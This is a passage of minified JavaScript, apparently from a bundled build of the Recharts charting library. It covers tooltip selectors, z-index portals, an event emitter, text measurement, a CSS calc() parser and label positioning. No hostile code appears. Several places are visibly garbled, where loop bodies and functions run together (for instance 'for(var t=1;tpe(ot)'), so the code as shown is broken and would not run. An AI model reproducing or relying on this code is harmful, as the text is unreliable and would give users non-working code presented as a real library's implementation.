0:y.nameKey,k;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?k=z5(b,r,i):k=a(b,t,c,j),Array.isArray(k))k.forEach(N=>{var z=Q1(Q1({},y),{},{name:N.name,unit:N.unit,color:void 0,fill:void 0});m.push(sy({tooltipEntrySettings:z,dataKey:N.dataKey,payload:N.payload,value:Le(N.payload,N.dataKey),name:N.name}))});else{var S;m.push(sy({tooltipEntrySettings:y,dataKey:w,payload:k,value:Le(k,w),name:(S=Le(k,j))!==null&&S!==void 0?S:y==null?void 0:y.name}))}return m},f)}},M0=L([ot,g4,i0],O4),pD=L([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),mD=L([mt,ns],p0),ss=L([pD,ot,mD],m0,{memoizeOptions:{resultEqualityCheck:Id}}),hD=L([ss],e=>e.filter(d0)),xD=L([ss],h0,{memoizeOptions:{resultEqualityCheck:Id}}),os=L([xD,Pr],x0),vD=L([hD,Pr,ot],m4),L0=L([os,ot,ss],g0),eS=L([ot],y0),gD=L([ot],e=>e.allowDataOverflow),tS=L([eS,gD],GN),yD=L([ss],e=>e.filter(d0)),bD=L([vD,yD,Ko,s4],k4),wD=L([bD,Pr,mt,tS],S4),jD=L([ss],w4),kD=L([os,ot,jD,Rd,mt],j0,{memoizeOptions:{resultEqualityCheck:Ld}}),ND=L([z4,mt,ns],is),SD=L([ND,mt],E4),zD=L([C4,mt,ns],is),CD=L([zD,mt],A4),PD=L([P4,mt,ns],is),ED=L([PD,mt],_4),AD=L([SD,ED,CD],mu),_D=L([ot,eS,tS,wD,kD,AD,ze,mt],k0),Zo=L([ot,ze,os,L0,Ko,mt,_D],N0),OD=L([Zo,ot,M0],C0),TD=L([ot,Zo,OD,mt],E0),nS=e=>{var t=mt(e),n=ns(e),r=!1;return Xo(e,t,n,r)},rS=L([ot,nS],Td),iS=L([ot,M0,TD,rS],z0),MD=L([ze,L0,ot,mt],D4),LD=L([ze,L0,ot,mt],R4),ID=(e,t,n,r,i,a,o,l)=>{if(t){var{type:c}=t,u=Jn(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?It(i[0]-i[1])*2*f:f,u&&o?o.map((m,h)=>{var x=r.map(m);return ye(x)?{coordinate:x+f,value:m,index:h,offset:f}:null}).filter(Un):r.domain().map((m,h)=>{var x=r.map(m);return ye(x)?{coordinate:x+f,value:a?a[m]:m,index:h,offset:f}:null}).filter(Un)}}},_r=L([ze,ot,M0,iS,nS,MD,LD,mt],ID),I0=L([F4,W4,H7],(e,t,n)=>U4(n.shared,e,t)),aS=e=>e.tooltip.settings.trigger,D0=e=>e.tooltip.settings.defaultIndex,Qo=L([as,I0,aS,D0],G4),Va=L([Qo,os,Go,Zo],T0),sS=L([_r,Va],V4),oS=L([Qo],e=>{if(e)return e.dataKey}),DD=L([Qo],e=>{if(e)return e.graphicalItemId}),lS=L([as,I0,aS,D0],Z4),RD=L([Sr,zr,ze,ft,_r,D0,lS],X4),$D=L([Qo,RD],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),BD=L([Qo],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),FD=L([lS,Va,Pr,Go,sS,Q4,I0],J4),WD=L([FD],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function J1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function eb(e){for(var t=1;tpe(ot),qD=()=>{var e=KD(),t=pe(_r),n=pe(iS);return Kc(!e||!n?void 0:eb(eb({},e),{},{scale:n}),t)};function tb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function na(e){for(var t=1;t{var i=t.find(a=>a&&a.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},QD=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var a=i.coordinate,{radius:o}=r;return na(na(na({},r),et(r.cx,r.cy,o,a)),{},{angle:a,radius:o})}var l=i.coordinate,{angle:c}=r;return na(na(na({},r),et(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function JD(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var cS=(e,t,n,r,i)=>{var a,o=(a=t==null?void 0:t.length)!==null&&a!==void 0?a:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(m=n[l+1])===null||m===void 0?void 0:m.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(It(x-h)!==It(g-x)){var v=[];if(It(g-x)===It(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var k;return(k=n[l])===null||k===void 0?void 0:k.index}}else{var S=Math.min(h,g),N=Math.max(h,g);if(e>(S+x)/2&&e<=(N+x)/2){var z;return(z=n[l])===null||z===void 0?void 0:z.index}}}else if(t)for(var O=0;O(_.coordinate+E.coordinate)/2||O>0&&O(_.coordinate+E.coordinate)/2&&e<=(_.coordinate+T.coordinate)/2)return _.index}}return-1},uS=()=>pe(i0),R0=(e,t)=>t,dS=(e,t,n)=>n,$0=(e,t,n,r)=>r,eR=L(_r,e=>id(e,t=>t.coordinate)),B0=L([as,R0,dS,$0],G4),F0=L([B0,os,Go,Zo],T0),tR=(e,t,n)=>{if(t!=null){var r=as(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},fS=L([as,R0,dS,$0],Z4),hu=L([Sr,zr,ze,ft,_r,$0,fS],X4),nR=L([B0,hu],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),pS=L([_r,F0],V4),rR=L([fS,F0,Pr,Go,pS,Q4,R0],J4),iR=L([B0,F0],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),aR=(e,t,n,r,i,a,o)=>{if(!(!e||!n||!r||!i)&&JD(e,o)){var l=K6(e,t),c=cS(l,a,i,n,r),u=ZD(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},sR=(e,t,n,r,i,a,o)=>{if(!(!e||!r||!i||!a||!n)){var l=YM(e,n);if(l){var c=q6(l,t),u=cS(c,o,a,r,i),d=QD(t,a,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},oR=(e,t,n,r,i,a,o,l)=>{if(!(!e||!t||!r||!i||!a))return t==="horizontal"||t==="vertical"?aR(e,t,r,i,a,o,l):sR(e,t,n,r,i,a,o)},lR=L(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),cR=L(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Rt)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:VI}});function nb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rb(e){for(var t=1;trb(rb({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),pR)},hR=new Set(Object.values(Rt));function xR(e){return hR.has(e)}var mS=Ut({name:"zIndex",initialState:mR,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:De()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!xR(n)&&delete e.zIndexMap[n])},prepare:De()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:De()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:De()}}}),{registerZIndexPortal:vR,unregisterZIndexPortal:gR,registerZIndexPortalElement:yR,unregisterZIndexPortalElement:bR}=mS.actions,wR=mS.reducer;function pi(e){var{zIndex:t,children:n}=e,r=kT(),i=r&&t!==void 0&&t!==0,a=In(),o=Qe();p.useLayoutEffect(()=>i?(o(vR({zIndex:t})),()=>{o(gR({zIndex:t}))}):Za,[o,t,i]);var l=pe(c=>lR(c,t,a));return i?l?Qh.createPortal(n,l):null:n}function Xm(){return Xm=Object.assign?Object.assign.bind():function(e){for(var t=1;tp.useContext(hS),xS={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function a(c,u,d,f,m){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,m),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var m=0,h=f.length,x=new Array(h);m{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!Gn(n))return e[n]}},_R={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},gS=Ut({name:"options",initialState:_R,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),OR=gS.reducer,{createEventEmitter:TR}=gS.actions;function MR(e){return e.tooltip.syncInteraction}var LR={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},yS=Ut({name:"chartData",initialState:LR,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:sb,setDataStartEndIndexes:IR,setComputedData:gV}=yS.actions,DR=yS.reducer,RR=["x","y"];function ob(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ra(e){for(var t=1;tc.rootProps.className);p.useEffect(()=>{if(e==null)return Za;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var m;if(o&&d!==null&&d!==void 0&&(m=d.payload)!==null&&m!==void 0&&m.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=WR(h,RR),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,k=ra(ra({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(ra(ra({},d),{},{payload:ra(ra({},d.payload),{},{coordinate:k})}))}else n(d);return}if(i!=null){var S;if(typeof r=="function"){var N={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},z=r(i,N);S=i[z]}else r==="value"&&(S=i.find(I=>String(I.value)===d.payload.label));var{coordinate:O}=d.payload;if(S==null||d.payload.active===!1||O==null||o==null){n(Ym({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:_,y:T}=O,E=Math.min(_,o.x+o.width),U=Math.min(T,o.y+o.height),K={x:a==="horizontal"?S.coordinate:E,y:a==="horizontal"?U:S.coordinate},R=Ym({active:d.payload.active,coordinate:K,dataKey:d.payload.dataKey,index:String(S.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n(R)}}};return Po.on(Zm,c),()=>{Po.off(Zm,c)}},[l,n,t,e,r,i,a,o])}function HR(){var e=pe(a0),t=pe(s0),n=Qe();p.useEffect(()=>{if(e==null)return Za;var r=(i,a,o)=>{t!==o&&e===i&&n(IR(a))};return Po.on(ab,r),()=>{Po.off(ab,r)}},[n,t,e])}function KR(){var e=Qe();p.useEffect(()=>{e(TR())},[e]),VR(),HR()}function qR(e,t,n,r,i,a){var o=pe(h=>tR(h,e,t)),l=pe(s0),c=pe(a0),u=pe(o4),d=pe(MR),f=d==null?void 0:d.active,m=yd();p.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=Ym({active:a,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:m,graphicalItemId:void 0});Po.emit(Zm,c,h,l)}},[f,n,o,i,r,l,c,u,a,m])}function lb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function cb(e){for(var t=1;t{N(X7({shared:b,trigger:w,axisId:S,active:i,defaultIndex:z}))},[N,b,w,S,i,z]);var O=yd(),_=tN(),T=V7(b),{activeIndex:E,isActive:U}=(t=pe(G=>iR(G,T,w,z)))!==null&&t!==void 0?t:{},K=pe(G=>rR(G,T,w,z)),R=pe(G=>pS(G,T,w,z)),I=pe(G=>nR(G,T,w,z)),F=K,B=PR(),V=(n=i??U)!==null&&n!==void 0?n:!1,[$,q]=TO([F,V]),Y=T==="axis"?R:void 0;qR(T,w,I,Y,E,V);var ie=k??B;if(ie==null||O==null||T==null)return null;var ae=F??ub;V||(ae=ub),u&&ae.length&&(ae=Z_(ae.filter(G=>G.value!=null&&(G.hide!==!0||r.includeHidden)),m,ZR));var fe=ae.length>0,de=p.createElement(YT,{allowEscapeViewBox:a,animationDuration:o,animationEasing:l,isAnimationActive:d,active:V,coordinate:I,hasPayload:fe,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:O,wrapperStyle:y,lastBoundingBox:$,innerRef:q,hasPortalFromProps:!!k},QR(c,cb(cb({},r),{},{payload:ae,label:Y,active:V,activeIndex:E,coordinate:I,accessibilityLayer:_})));return p.createElement(p.Fragment,null,Qh.createPortal(de,ie),V&&p.createElement(CR,{cursor:v,tooltipEventType:T,coordinate:I,payload:ae,index:E}))}var Wd=e=>null;Wd.displayName="Cell";function e9(e,t,n){return(t=t9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function t9(e){var t=n9(e,"string");return typeof t=="symbol"?t:t+""}function n9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class r9{constructor(t){e9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function fb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function i9(e){for(var t=1;t{try{var n=document.getElementById(mb);n||(n=document.createElement("span"),n.setAttribute("id",mb),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,c9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},xb=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||kd.isSsr)return{width:0,height:0};if(!bS.enableCache)return hb(t,n);var r=u9(t,n),i=pb.get(r);if(i)return i;var a=hb(t,n);return pb.set(r,a),a},wS;function d9(e,t,n){return(t=f9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function f9(e){var t=p9(e,"string");return typeof t=="symbol"?t:t+""}function p9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var vb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,gb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,m9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,h9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,x9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},v9=["cm","mm","pt","pc","in","Q","px"];function g9(e){return v9.includes(e)}var ya="NaN";function y9(e,t){return e*x9[t]}class vt{static parse(t){var n,[,r,i]=(n=h9.exec(t))!==null&&n!==void 0?n:[];return r==null?vt.NaN:new vt(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,Gn(t)&&(this.unit=""),n!==""&&!m9.test(n)&&(this.num=NaN,this.unit=""),g9(n)&&(this.num=y9(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new vt(NaN,""):new vt(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new vt(NaN,""):new vt(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new vt(NaN,""):new vt(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new vt(NaN,""):new vt(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return Gn(this.num)}}wS=vt;d9(vt,"NaN",new wS(NaN,""));function jS(e){if(e==null||e.includes(ya))return ya;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,a]=(n=vb.exec(t))!==null&&n!==void 0?n:[],o=vt.parse(r??""),l=vt.parse(a??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return ya;t=t.replace(vb,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,m]=(u=gb.exec(t))!==null&&u!==void 0?u:[],h=vt.parse(d??""),x=vt.parse(m??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return ya;t=t.replace(gb,g.toString())}return t}var yb=/\(([^()]*)\)/;function b9(e){for(var t=e,n;(n=yb.exec(t))!=null;){var[,r]=n;t=t.replace(yb,jS(r))}return t}function w9(e){var t=e.replace(/\s+/g,"");return t=b9(t),t=jS(t),t}function j9(e){try{return w9(e)}catch{return ya}}function Qf(e){var t=j9(e.slice(5,-1));return t===ya?"":t}var k9=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],N9=["dx","dy","angle","className","breakAll"];function Qm(){return Qm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];wt(t)||(n?i=t.toString().split(""):i=t.toString().split(kS));var a=i.map(l=>({word:l,width:xb(l,r).width})),o=n?0:xb(" ",r).width;return{wordsWithComputedWidth:a,spaceWidth:o}}catch{return null}};function z9(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var SS=(e,t,n,r)=>e.reduce((i,a)=>{var{word:o,width:l}=a,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+ne.reduce((t,n)=>t.width>n.width?t:n),C9="…",wb=(e,t,n,r,i,a,o,l)=>{var c=e.slice(0,t),u=NS({breakAll:n,style:r,children:c+C9});if(!u)return[!1,[]];var d=SS(u.wordsWithComputedWidth,a,o,l),f=d.length>i||zS(d).width>Number(a);return[f,d]},P9=(e,t,n,r,i)=>{var{maxLines:a,children:o,style:l,breakAll:c}=e,u=ue(a),d=String(o),f=SS(t,r,n,i);if(!u||i)return f;var m=f.length>a||zS(f).width>Number(r);if(!m)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=wb(d,b,c,l,a,r,n,i),[k]=wb(d,v,c,l,a,r,n,i);if(!w&&!k&&(h=v+1),w&&k&&(x=v-1),!w&&k){y=j;break}g++}return y||f},jb=e=>{var t=wt(e)?[]:e.toString().split(kS);return[{words:t,width:void 0}]},E9=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:a,maxLines:o}=e;if((t||n)&&!kd.isSsr){var l,c,u=NS({breakAll:a,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return jb(r);return P9({breakAll:a,children:r,maxLines:o,style:i},l,c,t,!!n)}return jb(r)},CS="#808080",A9={angle:0,breakAll:!1,capHeight:"0.71em",fill:CS,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},W0=p.forwardRef((e,t)=>{var n=rn(e,A9),{x:r,y:i,lineHeight:a,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=bb(n,k9),m=p.useMemo(()=>E9({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=bb(f,N9);if(!hr(r)||!hr(i)||m.length===0)return null;var w=Number(r)+(ue(h)?h:0),j=Number(i)+(ue(x)?x:0);if(!ye(w)||!ye(j))return null;var k;switch(d){case"start":k=Qf("calc(".concat(o,")"));break;case"middle":k=Qf("calc(".concat((m.length-1)/2," * -").concat(a," + (").concat(o," / 2))"));break;default:k=Qf("calc(".concat(m.length-1," * -").concat(a,")"));break}var S=[],N=m[0];if(c&&N!=null){var z=N.width,{width:O}=f;S.push("scale(".concat(ue(O)&&ue(z)?O/z:1,")"))}return g&&S.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),S.length&&(b.transform=S.join(" ")),p.createElement("text",Qm({},At(b),{ref:t,x:w,y:j,className:Ve("recharts-text",y),textAnchor:u,fill:l.includes("url")?CS:l}),m.map((_,T)=>{var E=_.words.join(v?"":" ");return p.createElement("tspan",{x:w,dy:T===0?k:a,key:"".concat(E,"-").concat(T)},E)}))});W0.displayName="Text";function kb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Bn(e){for(var t=1;t{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:a,y:o,height:l,upperWidth:c,lowerWidth:u}=Ax(t),d=a,f=a+(c-u)/2,m=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,k=w>0?"end":"start",S=w>0?"start":"end",N=i;if(n==="top"){var z={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return N&&(z.height=Math.max(o-N.y,0),z.width=c),z}if(n==="bottom"){var O={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return N&&(O.height=Math.max(N.y+N.height-(o+l),0),O.width=u),O}if(n==="left"){var _={x:m-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"};return N&&(_.width=Math.max(_.x-N.x,0),_.height=l),_}if(n==="right"){var T={x:m+h+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"};return N&&(T.width=Math.max(N.x+N.width-T.x,0),T.height=l),T}var E=N?{width:h,height:l}:{};return n==="insideLeft"?Bn({x:m+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"},E):n==="insideRight"?Bn({x:m+h-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"},E):n==="insideTop"?Bn({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},E):n==="insideBottom"?Bn({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},E):n==="insideTopLeft"?Bn({x:d+j,y:o+y,horizontalAnchor:S,verticalAnchor:b},E):n==="insideTopRight"?Bn({x:d+c-j,y:o+y,horizontalAnchor:k,verticalAnchor:b},E):n==="insideBottomLeft"?Bn({x:f+j,y:o+l-y,horizontalAnchor:S,verticalAnchor:v},E):n==="insideBottomRight"?Bn({x:f+u-j,y:o+l-y,horizontalAnchor:k,verticalAnchor:v},E):n&&typeof n=="object"&&(ue(n.x)||Ui(n.x))&&(ue(n.y)||Ui(n.y))?Bn({x:a+Zt(n.x,h),y:o+Zt(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},E):Bn({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},E)},L9=["labelRef"],I9=["content"];function Nb(e,t){if(e==null)return{};var n,r,i=D9(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var e=p.useContext(F9),t=yd();return e||(t?Ax(t):void 0)},U9=p.createContext(null),V9=()=>{var e=p.useContext(U9),t=pe(p4);return e||t},H9=e=>{var{value:t,formatter:n}=e,r=wt(e.children)?t:e.children;return typeof n=="function"?n(r):r},K9=e=>e!=null&&typeof e=="function",q9=(e,t)=>{var n=It(t-e),r=Math.min(Math.abs(t-e),360);return n*r},Y9=(e,t,n,r,i)=>{var{offset:a,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:m,clockWise:h}=i,x=(u+d)/2,g=q9(f,m),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*a,b=h;break;case"insideEnd":v=m-y*a,b=!h;break;case"end":v=m+y*a,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=et(l,c,x,v),j=et(l,c,x,v+(b?1:-1)*359),k="M".concat(w.x,",").concat(w.y,` + A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`, + `).concat(j.x,",").concat(j.y),S=wt(e.id)?ho("recharts-radial-line-"):e.id;return p.createElement("text",xu({},r,{dominantBaseline:"central",className:Ve("recharts-radial-bar-label",o)}),p.createElement("defs",null,p.createElement("path",{id:S,d:k})),p.createElement("textPath",{xlinkHref:"#".concat(S)},n))},G9=(e,t,n)=>{var{cx:r,cy:i,innerRadius:a,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=et(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var m=(a+o)/2,{x:h,y:x}=et(r,i,m,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},nc=e=>e!=null&&"cx"in e&&ue(e.cx),X9={angle:0,offset:5,zIndex:Rt.label,position:"middle",textBreakAll:!1};function Z9(e){if(!nc(e))return 